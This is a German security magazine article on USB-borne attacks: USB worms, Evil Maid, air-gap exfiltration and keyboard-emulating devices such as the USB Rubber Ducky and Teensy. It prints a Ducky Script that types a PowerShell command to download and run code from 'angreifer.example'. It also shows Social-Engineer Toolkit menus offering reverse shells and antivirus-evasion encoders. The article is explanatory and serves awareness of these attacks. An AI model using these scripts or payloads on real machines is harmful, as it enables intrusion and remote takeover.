Von USB-Würmern und anderen Schädlingen

Sicherheitsrisiko USB: Angriffe über den Serial Bus
Kommentare

Seitdem USB den PS/2-Anschluss für Tastatur und Maus verdrängt hat, haben sicherheitsbewusste Admins ein Problem: Sie können das potenzielle Einfallstor USB-Port nicht einfach lahm legen. Und der erlaubt mehr Angriffe, als die meisten Benutzer ahnen.

Betrachten wir zuerst einmal die allgemein bekannten Angriffe über den USB-Port: USB-Würmer und die „Evil Maid“.

Der Wurm, der durch den USB-Port kam

Würmer verbreiten sich im Allgemeinen über Netzwerke, entweder direkt über ein Netzwerkprotokoll oder zum Beispiel per E-Mail. Irgendwo in einem Netzwerk losgelassen, befallen sie nach und nach alle anderen angreifbaren Rechner im gleichen Netz – egal, ob es sich dabei um ein lokales Netz oder das gesamte Internet handelt. Insbesondere Conficker hat in diesem Zusammenhang von sich Reden gemacht, aber auch davor gab es etliche sehr erfolgreiche Würmer.
Ein Spezialfall sind die „USB-Würmer“, die sich nicht über eine Netzwerkverbindung verbreiten, sondern die AutoRun-Funktion von USB-Massenspeichern, vor allem USB-Sticks, missbrauchen, um von einem infizierten Rechner aus andere Rechner zu erreichen – und lokale Netze, die gar nicht mit dem Internet verbunden sind. Diese USB-Würmer waren zeitweise eine wahre Plage, und auch heute gibt es noch viel zu viele davon, und vor allem zu viele erfolgreiche. Und das, obwohl Microsoft das Einfallstor AutoRun längst geschlossen hat. Denn irgendwann hat auch Microsoft erkannt, dass das so nicht mehr weitergehen kann und die Funktion von AutoRun nach und nach eingeschränkt, was die Entwickler der Schadsoftware nicht wirklich stört. Die müssen dann eben etwas mehr Aufwand betreiben und zusätzlich auf Social Engineering oder weitere Schwachstellen setzen. So verbreitete sich zum Beispiel Stuxnet über die so genannte Shortcut-Lücke, eine Schwachstelle beim Verarbeiten von LNK-Dateien. Es war damit unabhängig von der Funktion der AutoRun-Funktion.

Inzwischen hat Microsoft die AutoRun-Funktion im Grunde auf die AutoPlay-Funktion für CD/DVD zusammengeschrumpft, was einen Angriff theoretisch deutlich erschwert – sofern die Cyberkriminellen keine präparierte CD/DVD verbreiten und keine eigentlich harmlose CD/DVD einen AutoRun-Wurm enthält.

USB-Massenspeicher oder USB-CD-ROM?

Praktisch sieht das, wie immer, natürlich anders aus. Denn woran erkennt das Betriebssystem, dass es eine CD/DVD in einem über USB angeschlossenen CD/DVD-Laufwerk vor sich hat und nicht zum Beispiel einen USB-Stick? Daran, dass das USB-Gerät es ihm mitteilt. Dummerweise hat man beim Entwurf des USB-Standards nicht daran gedacht, dass Geräte ja auch mal lügen könnten. Und wenn ein USB-Device dem System meldet, es sei das CD-Laufwerk „Foobar128“ und gerade sei die CD „Harmlose Kinderspiele 3.14“ eingelegt worden, dann glaubt das System ihm das und führt die von der CD geladene AutoRun-Datei aus. Wenn das Gerät dann in Wirklichkeit einfach nur ein entsprechend präparierter Microcontroller ist und die AutoRun-Datei Schadsoftware startet, ist das eben Pech. Hat der Benutzer Glück, erkennt sein Virenscanner den Schädling, bevor der Schaden anrichten kann. Hat er weniger Glück, ist sein System danach infiziert.
Übrigens ist diese Möglichkeit Microsoft bekannt, sie wird zum Beispiel von den U3-USB-Sticks genutzt, um die enthaltene Software automatisch starten zu können. Für Windows sieht ein U3-Stick wie ein USB-Hub mit angeschlossenem CD-Laufwerk und Massenspeicher aus.

Der Angriff der bösen Zimmermädchen

USB-Würmer kennt fast jeder, ein weiterer (mehr oder weniger theoretischer) Angriff über USB-Sticks ist schon deutlich weniger bekannt: der so genannte „Evil Maid“-Angriff. Dabei wird ein Notebook mit vollständiger Festplattenverschlüsselung vom Angreifer von einem präparierten USB-Stick gebootet, der dann Schadsoftware auf dem Notebook einschleust. Diese späht das Passwort für die Festplattenverschlüsselung aus. Bootet der Benutzer danach sein Notebook, wird das Passwort ausgespäht und gespeichert oder über das Netzwerk an den Angreifer übertragen. Der kann sich danach erneut Zugriff auf das Gerät verschaffen und mit dem ausgespähten Passwort die Festplattenverschlüsselung aufheben. Der Name „Evil Maid“-Angriff wurde gewählt, weil er in Hotels zum Beispiel von Zimmermädchen oder Personen, die sich als solche ausgeben, durchgeführt werden kann.
Joanna Rutkowska und Alex Tereshkin entwickelten im Januar 2009 einen entsprechenden Angriff auf TrueCrypt. Auch für andere Verschlüsselungsprogramme wurden entsprechende Angriffe veröffentlicht. Wirklich „in the wild“ gab es aber keine entsprechenden Angriffe. Oder die Opfer haben nie darüber berichtet.

Daten raus statt Schadcode rein

Während die USB-Sticks bisher zum Einschleusen von Schadcode genutzt wurden, können sie aber durchaus auch in der Gegenrichtung missbraucht werden. Gelangt Schadcode über einen USB-Stick auf einen nicht mit dem Internet oder gar nicht mit einem Netzwerk verbundenen Rechner, hat er ein Problem: Er kann zwar entsprechend seiner Programmierung Schaden anrichten oder Daten sammeln, aber keine Daten an seinen Entwickler schicken. Jedenfalls nicht über das Netzwerk, wie es allgemein üblich ist. Aber stattdessen kann er die Daten ja auf jeden erreichbaren USB-Stick speichern. Installationen des Schädlings auf Rechnern mit einer Netzwerkverbindung zum Angreifer können dann alle von ihnen auf USB-Sticks entdeckten Datenpakete an den Angreifer schicken. Diese Taktik haben zum Beispiel der „Super-Cyberwar-Alleskönner-Schädling“ Flame und sein Kollege Gauss verwendet.

Angriffe über spezielle Hardware

Bisher ging es um Angriffe über ganz normale, handelsübliche USB-Sticks. Aber über USB kann man natürlich noch mehr anschließen, zum Beispiel Tastaturen und Mäuse, die so genannten Human Interface Devices (HID); oder Hardware, die sich als Tastatur ausgibt. Die können Sie sogar selbst programmieren, ein entsprechendes Toolkit samt passender Hardware wurde von der Hak5-Community unter dem Namen „USB Rubber Ducky“ entwickelt.

Gummiente mit Stammbaum

USB Rubber Ducky hat zwei Vorgänger: Der erste ist das „USB Switchblade“, ein präparierter U3-Stick, mit dem sich ein Windows-Rechner ausspähen lässt. Die Software läuft nur unter Windows 2000, XP und 2003, und für einen erfolgreichen Angriff ist noch etwas Social Engineering notwendig, da ein Benutzer mit Admin-Rechten dazu gebracht werden muss, die AutoRun-Datei auszuführen. Letzteres ist aber nicht unbedingt ein Problem, wenn der Angreifer zum Beispiel auf einer LAN-Party seinem Opfer seinen USB-Stick mit einem Patch, Spiel oder Ähnlichem leiht. Nach dem Start sammelt das USB Switchblade heimlich im Hintergrund alle möglichen Daten und speichert sie auf dem Stick.
Der Nachfolger des USB Switchblade ist die „USB Hacksaw“, ebenfalls ein modifizierter U3-Stick, der einen Windows-Rechner (ab Windows 2000) mit Spyware infiziert. Die Spyware kopiert die Dokumente von angeschlossenen USB-Sticks und schickt sie per E-Mail an den Angreifer.

Der Angriff des USB-Quietscheentchens

Aber kommen wir zum USB Rubber Ducky. Das hat einiges in sich: einen Atmel 32 Bit Mikrocontroller, einen microSD-Card-Reader, ein JTAG-Interface für I/O-Operationen und natürlich einen USB-Anschluss. Da eine USB-Tastatur emuliert wird, ist USB Rubber Ducky systemunabhängig. Jedes System, das eine USB-Tastatur unterstützt, kann angegriffen werden.
Eine einfache Skriptsprache namens Ducky Script erlaubt das Entwickeln eigener Angriffe – die Manipulation von Systemeinstellungen, das Öffnen einer Backdoor –, generell alle Aktionen, die sich bei einem physikalischen Zugriff über die Tastatur auch ausführen lassen. Und natürlich gibt es auch eine Sammlung fertiger Payloads.
USB Rubber Ducky ist daher ein ideales Tool, wenn man sich mit den über USB möglichen Angriffen auseinandersetzen möchte oder muss. Sein größter Vorteil ist die sehr einfache Skriptsprache. Sein größter Nachteil: Man muss es in den USA bestellen, und bekanntlich werden dabei gerade eigentlich recht günstige Artikel durch die meist üppigen Versandkosten und die aus der Gesamtsumme berechneten Abgaben beim Zoll erheblich verteuert. Aber kommen wir zur Programmierung der Gummiente.

Hello World!

Am einfachsten kann man Ducky Script an einem Beispiel erklären, und da bietet sich natürlich das beliebte Ausgeben von „Hello World!“ an. Wobei erst einmal zu klären ist, wie oder wo denn ein USB-Stick, der sich als Tastatur ausgibt, etwas ausgeben kann. Die Entwickler der Demo-Payload, auf der das folgende Beispiel basiert, haben sich für Notepad entschieden. Der ausführlich kommentierte Sourcecode in Listing 1 sollte selbsterklärend sein.

REM Kommentare werden wie zum Beispiel in BASIC durch REM gekennzeichnet
REM Zuerst gibt es eine kleine Pause, angegeben in Millisekunden * 10 
DELAY 3000
REM GUI emuliert die Windows-Taste, hier wird also virtuell Windows-r gedrückt und damit das run-Menü aufgerufen
GUI R
REM Jetzt braucht der Rechner etwas Zeit, um den Befehl auszuführen – gönnen wir ihm also eine Pause
DELAY 500
REM STRING gibt einen String aus, indem nacheinander die angegebenen Tasten virtuell gedrückt werden – hier wird also notepad eingegeben
STRING notepad
REM Wieder etwas Zeit für den Rechner
DELAY 500
REM ENTER emuliert natürlich den Druck auf die ENTER-Taste 
ENTER
REM Und wieder eine Pause, damit Notepad Zeit zum Starten hat
DELAY 750
REM Hier ist sie nun – die Ausgabe (oder besser Eingabe) von "Hello World!"
STRING Hello World!
REM Und zum Abschluss noch einmal ENTER drücken
ENTER

Ducky-Script-Skripte werden zum Einsatz in USB Rubber Ducky in Hex-Dateien übersetzt und unter dem Namen inject.bin auf der microSD-Card von USB Rubber Ducky gespeichert.
Das Kompilieren übernimmt das Java-Programm Duck Encoder für die Kommandozeile. Unter Linux wird das zum Beispiel durch

java -jar duckencoder.jar -i helloworld.txt -o /media/microsdcard/inject.bin

aufgerufen. Neben der Kommandozeilen- gibt es auch eine Onlineversion.
Herunterladen und Starten eines Programms
Kommen wir als zweites Beispiel zum Herunterladen und Starten eines Programms. Das DuckyScript-Skript in Listing 2 orientiert sich am Beispielskript von „mubix“ und nutzt die PowerShell.

REM Zuerst wird wieder das run-Menü aufgerufen
DELAY 3000
GUI r
DELAY 100
REM Jetzt werden der PowerShell-Aufruf zum Herunterladen des Programms und der Befehl zu seinem Start "eingetippt"
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://angreifer.example/boeser.code,'%TEMP%boese.exe'); Start-Process "%TEMP%boese.exe"
REM Noch einmal ENTER "drücken", und das Verhängnis nimmt seinen Lauf
ENTER

Das ist alles sehr einfach und kann doch gravierende Folgen haben. Die von USB Rubber Ducky an den Rechner gesendeten Tastendrücke werden von keinem Virenscanner o. ä. als gefährlich erkannt. Sämtliche Schutzfunktionen werden erst aktiv, wenn sie eine bekannte gefährliche Aktion erkennen, im ersten Beispiel also nie und im zweiten Beispiel frühestens beim Herunterladen oder Starten eines erkannten Schadprogramms. Aber was ist, wenn der Angriff nur aus einer Aneinanderreihung eigentlich harmloser Aktionen besteht? Dann werden die ausgeführt, und es besteht für kein Schutzprogramm irgendein Grund, aktiv zu werden – es laufen ja nur normale, über die Tastatur eingegebene Benutzeraktionen ab. Zum Gefahrenpotenzial und zu möglichen Gegen- oder Schutzmaßnahmen komme ich später noch. Erst mal interessiert eine andere Frage.

Aufmacherbild: Glowing electric cable close-up von Shutterstock / Urheberrecht: ra2studio

[ header = Seite 2: Und wo ist der Haken? ]

Und wo ist der Haken?

Mit Ducky Script können Sie im Grunde jede Taste „drücken“ lassen, die es auf einer normalen USB-Tastatur gibt. Wird der programmierte USB Rubber Ducky an einen Rechner angeschlossen, werden die „Tastendrücke“ der Reihe nach an den Rechner geschickt, so als würde ein Benutzer sie über die Tastatur eingeben. Das Ganze hat nur zwei Haken: Der Angriff funktioniert nur dann wunderbar, wenn erstens der Benutzer angemeldet ist und zweitens der Angriff ungestört abläuft.
Fangen wir mit dem ersten Haken an: Ob der Benutzer den „USB-Stick“ nach einem Social-Engineering-Angriff selbst in den Rechner steckt oder ein Angreifer einen unbeobachteten Moment nutzt, um USB Rubber Ducky in einen USB-Port zu stecken, ist egal. Wurde beim Entwickeln des DuckyScript-Skripts darauf geachtet, dass es keine sichtbaren Folgen des Angriffs gibt, zum Beispiel indem alle benötigten Fenster minimiert werden, wird das Opfer den laufenden Angriff mit etwas Glück selbst dann nicht bemerken, wenn es gerade vor dem Rechner sitzt.
Der Haken an dieser Stelle: USB Rubber Ducky kann keine zum Beispiel durch einen Screenlock geschützten oder ausgeschalteten Rechner angreifen. Im ersten Fall landen die „Tastendrücke“ sofort in den Feldern für Benutzername und Passwort, im zweiten nach dem Start des Rechners, und in beiden Fällen entfalten sie nicht die gewünschte Wirkung – es sei denn, der Angriff beginnt mit der Eingabe ausgespähter Zugangsdaten. Ein Brute-Force-Angriff scheitert am mangelnden Feedback, der Rechner teilt der „Tastatur“ ja nicht mit, ob ein richtiges oder falsches Passwort eingegeben wurde.

Der zweite Haken ergibt sich aus dem auch bei der normalen Nutzung eines Rechners ab und zu auftauchenden Problem, dass sich ein Fenster in den Vordergrund drängelt, sodass Tastatureingaben nicht beim eigentlichen Ziel, sondern im Vordergrundfenster landen. Während man beim normalen Arbeiten mit den Rechner den Störenfried in den Hintergrund verbannen oder auch komplett schließen kann, um dann die eigentliche Aufgabe abzuschließen, steht USB Rubber Ducky in so einem Fall vor einem unlösbaren Problem: Die „Tastatur“ erhält natürlich auch keinerlei Feedback seitens des Rechners, ob die gesendeten Tastendrücke auch am gewünschten Ort angekommen sind und/oder den gewünschten Zweck erfüllt haben oder nicht.
Betrachten wir das Beispiel des Hello World!-Skripts in Listing 1: Gelangt zwischen dem Start von Notepad und dem „Eingeben“ von Hello World! ein anderes Fenster in den Vordergrund, landet die Eingabe darin und nicht in Notepad. Was zur logischen Schlussfolgerung führt, dass die Wahrscheinlichkeit für einen erfolgreichen Angriff umso größer ist, je kürzer das DuckyScript-Skript läuft. Je mehr „Tastendrücke“ und Pausen benötigt werden, desto größer ist die Wahrscheinlichkeit dafür, dass ein anderes Programm oder eine Fehlermeldung oder Ähnliches den Angriff unterbricht und dadurch den Erfolg verhindert.

Social Engineering mit USB-Anschluss

USB Rubber Ducky ist nicht die einzige Möglichkeit, einem Rechner eine nicht vorhandene Tastatur unterzuschieben. Für eine weitere muss ich kurz etwas weiter ausholen:
Um im Rahmen eines Penetration-Tests Social-Engineering-Angriffe zu prüfen, kann man auf das Social Engineering Framework zurückgreifen. Speziell für computerbasierte Angriffe gibt es dazu das Social Engineering Toolkit SET, und einer der damit möglichen Angriffe ist der „Arduino-Based Attack Vector“, über den Arduino-basierte Devices die Rolle einer angeblichen Tastatur übernehmen können.

Sehr gut dafür geeignet ist das auch in Deutschland problemlos erhältliche Teensy, ein USB-basiertes Mikrocontroller Board, das softwarekompatibel zu Arduino ist. Seine Vorteile: Es enthält bereits Speicher und USB-Port und lässt sich sehr einfach als angebliche Tastatur konfigurieren. Bis zur Veröffentlichung von SET 2.0 im August 2011 hieß dieser Angriffsvektor daher auch „Teensy USB HID Attack Vector“.
In Verbindung mit SET dient die angebliche Tastatur im Wesentlichen dazu, über PowerShell oder WSCRIPT eine Payload, im Allgemeinen eine Backdoor, auf dem angegriffenen Rechner zu installieren. Bei Bedarf kann auch mithilfe einer Hex2Bin-Konvertierung direkt eine ausführbare Datei „eingetippt“ werden.
Die Konfiguration des Angriffs erfolgt über das menügesteuerte SET, das eine Reihe von Payloads und Konfigurationsmöglichkeiten zur Verfügung stellt, siehe Listing 3 für einige Beispiele. Nachdem die Payload ausgewählt und konfiguriert wurde, erzeugt das SET eine PDE-Datei, die dann in Arduino importiert und auf Teensy installiert wird. Nach dem Schreiben der PDE-Datei wird vom SET ggf. das Penetration-Testing-Tool Metasploit aufgerufen, damit sich eine über Teensy eingeschleuste Hintertür mit dem eigenen Rechner verbinden kann.

                 /   _____/_   _____/__    ___/
                 _____    |    __)_   |    |   
                 /         |          |    |   
                /_______  //_______  /  |____|   
                        /         /            

  [---]        The Social-Engineer Toolkit (SET)         [---]
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]                  Version: 4.4.5                  [---]
  [---]               Codename: 'The Goat'               [---]
  [---]         Follow us on Twitter: @trustedsec        [---]
  [---]         Follow me on Twitter: @dave_rel1k        [---]
  [---]       Homepage: https://www.trustedsec.com       [---]

     Welcome to the Social-Engineer Toolkit (SET). The one
      stop shop for all of your social-engineering needs.
    
      Join us on irc.freenode.net in channel #setoolkit

  The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 6

 The Arduino-Based Attack Vector utilizes the Arduin-based device to
 program the device. You can leverage the Teensy's, which have onboard
 storage and can allow for remote code execution on the physical
 system. Since the devices are registered as USB Keyboard's it
 will bypass any autorun disabled or endpoint protection on the
 system.

 You will need to purchase the Teensy USB device, it's roughly
 $22 dollars. This attack vector will auto generate the code
 needed in order to deploy the payload on the system for you.

 This attack vector will create the .pde files necessary to import
 into Arduino (the IDE used for programming the Teensy). The attack
 vectors range from Powershell based downloaders, wscript attacks, 
 and other methods.

 For more information on specifications and good tutorials visit:

 http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystro...

 To purchase a Teensy, visit: http://www.pjrc.com/store/teensy.html
 Special thanks to: IronGeek, WinFang, and Garland

 This attack vector also attacks X10 based controllers, be sure to be leveraging
 X10 based communication devices in order for this to work.

 Select a payload to create the pde file to import into Arduino:

   1) Powershell HTTP GET MSF Payload
   2) WSCRIPT HTTP GET MSF Payload
   3) Powershell based Reverse Shell Payload
   4) Internet Explorer/FireFox Beef Jack Payload
   5) Go to malicious java site and accept applet Payload
   6) Gnome wget Download Payload
   7) Binary 2 Teensy Attack (Deploy MSF payloads)
   8) SDCard 2 Teensy Attack (Deploy Any EXE)
   9) SDCard 2 Teensy Attack (Deploy on OSX)
  10) X10 Arduino Sniffer PDE and Libraries
  11) X10 Arduino Jammer PDE and Libraries
  12) Powershell Direct ShellCode Teensy Attack
  13) Peensy Multi Attack Dip Switch + SDCard Attack

  99) Return to Main Menu

set:arduino>2

...

What payload do you want to generate:

  Name:                                       Description:

   1) Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker
   2) Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker
   3) Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker
   4) Windows Bind Shell                      Execute payload and create an accepting port on remote system
   5) Windows Bind Shell X64                  Windows x64 Command Shell, Bind TCP Inline
   6) Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline
   7) Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter
   8) Windows Meterpreter Egress Buster       Spawn a meterpreter shell and find a port home via multiple ports
   9) Windows Meterpreter Reverse HTTPS       Tunnel communication over HTTP using SSL and use Meterpreter
  10) Windows Meterpreter Reverse DNS         Use a hostname instead of an IP address and spawn Meterpreter
  11) SE Toolkit Interactive Shell            Custom interactive reverse toolkit designed for SET
  12) SE Toolkit HTTP Reverse Shell           Purely native HTTP shell with AES encryption support
  13) RATTE HTTP Tunneling Payload            Security bypass payload that will tunnel all comms over HTTP
  14) ShellCodeExec Alphanum Shellcode        This will drop a meterpreter payload through shellcodeexec
  15) PyInjector Shellcode Injection          This will drop a meterpreter payload through PyInjector
  16) MultiPyInjector Shellcode Injection     This will drop multiple Metasploit payloads via memory
  17) Import your own executable              Specify a path for your own executable

set:payloads>1

Below is a list of encodings to try and bypass AV. 

Select one of the below, 'backdoored executable' is typically the best.

   1) avoid_utf8_tolower (Normal)
   2) shikata_ga_nai (Very Good)
   3) alpha_mixed (Normal)
   4) alpha_upper (Normal)
   5) call4_dword_xor (Normal)
   6) countdown (Normal)
   7) fnstenv_mov (Normal)
   8) jmp_call_additive (Normal)
   9) nonalpha (Normal)
  10) nonupper (Normal)
  11) unicode_mixed (Normal)
  12) unicode_upper (Normal)
  13) alpha2 (Normal)
  14) No Encoding (None)
  15) Multi-Encoder (Excellent)
  16) Backdoored Executable (BEST)

set:encoding>16

...

Weiterführende Angriffe mithilfe von Teensy über das übliche Öffnen einer Hintertür hinaus wurden von Nikhil Mittal auf der Black Hat Abu Dhabi 2011 präsentiert. So ist es zum Beispiel möglich, einen neuen Benutzer mit Admin-Rechten anzulegen, die DNS-Einstellungen oder die Hosts-Datei zu ändern, RDP oder Telnet einzuschalten, Daten zu sammeln usw. Alle von Nikhil Mittal entwickelten Angriffe richten sich gegen Windows-Rechner. Um sie durchzuführen, hat er das Ruby-basierte Toolkit „Kautilya“ entwickelt, mit dem sich die Payloads über ein Menü auswählen und anpassen lassen.
Übrigens muss Teensy nicht in Form eines USB-Sticks daherkommen: Im Juni 2011 wurde von Netragard beschrieben, wie im Rahmen eines Penetration-Tests eine präparierte Maus erfolgreich zur Kompromittierung eines Rechners genutzt wurde. Die Maus enthielt ein Teensy Board, das eine Tastatur simuliert und 60 Sekunden nach Inbetriebnahme der Maus Schadsoftware von einem ebenfalls darin enthaltenen USB-Stick auf dem angegriffenen Rechner installierte.

Wie gefährlich sind Angriffe über „getarnte Tastaturen“

„Getarnte Tastaturen“ eignen sich nur für Social-Engineering-Angriffe oder solche, bei denen der Angreifer selbst die Möglichkeit hat, das präparierte USB Device heimlich in den USB-Port eines laufenden Rechners zu stecken.
Beim Social Engineering reicht es meist schon, das Opfer den „USB-Stick“ finden zu lassen. Die allgemeine menschliche Neugier sorgt dann schon dafür, dass er früher oder später im USB-Port landet. Schlimmstenfalls könnte ja ein „Virus“ drauf sein, und den erkennt der Virenscanner (falls das Opfer überhaupt so weit denkt und den Stick nicht einfach anstöpselt).
Und auch für direkte Angriffe gibt es viel mehr Möglichkeiten, als Sie vermuten. Wie sieht es denn zum Beispiel mit den Rechnern in Ihrer Bank aus? Wie oft wurden Sie bei einem Beratungsgespräch schon kurz allein gelassen, weil der Berater zum Beispiel ein Formular oder Infomaterial holen musste? Oder wie sieht es mit den „Kassen“ in vielen Geschäften aus, die inzwischen ja oft auf PCs basieren? Oder allgemein Rechnern in Räumen mit Publikumsverkehr, egal ob in Behörden oder der Wirtschaft? All diese Geräte sind prinzipiell angreifbar, und kein Virenscanner oder sonstiges Schutzprogramm kann den Angriff erkennen – es sei denn, es ist speziell darauf ausgerichtet, plötzlich auftauchende zusätzliche Tastaturen zu erkennen, was im Allgemeinen nicht der Fall ist.
Wie man Windows mittels Gruppen-Policies und Linux mithilfe von udev vor Angriffen über USB Devices (einschließlich HIDs) schützen kann, hat Adrian Crenshaw auf der Shmoocon 2011 beschrieben. Das Ganze ist ziemlich aufwändig, sodass ich hier nicht darauf eingehen kann.

Fazit

Die Gefahren, die von einem USB-Port ausgehen können, sollte man nicht unterschätzen. Die größte Gefahr sind zwar nach wie vor USB-Würmer, aber auch andere Angriffe sind jederzeit möglich. Die Frage ist immer nur, wie groß die Wahrscheinlichkeit ist, selbst Opfer einer der eher exotischen Angriffe zu werden. Ich schließe zum Beispiel aus, dass jemand irgendein USB-Gerät in einen USB-Port meines Desktoprechners steckt. Beim Notebook ist das schon nicht mehr so unwahrscheinlich. Aber trotz aller Erfahrung und allen Sicherheitsbewusstseins würde ich nie ausschließen, vielleicht doch einmal auf einen gut vorbereiteten und durchgeführten Social-Engineering-Angriff hereinzufallen.
Wie wirksam die Angriffe über getarnte Tastaturen sind, können Sie problemlos zu Hause ausprobieren. Statt der üblichen Warnung „Kids, don’t try this at home“ heißt es hier: „Bitte nur zu Hause nachmachen“.

Unsere Redaktion empfiehlt:

Relevante Beiträge

Meinungen zu diesem Beitrag

X
- Gib Deinen Standort ein -
- or -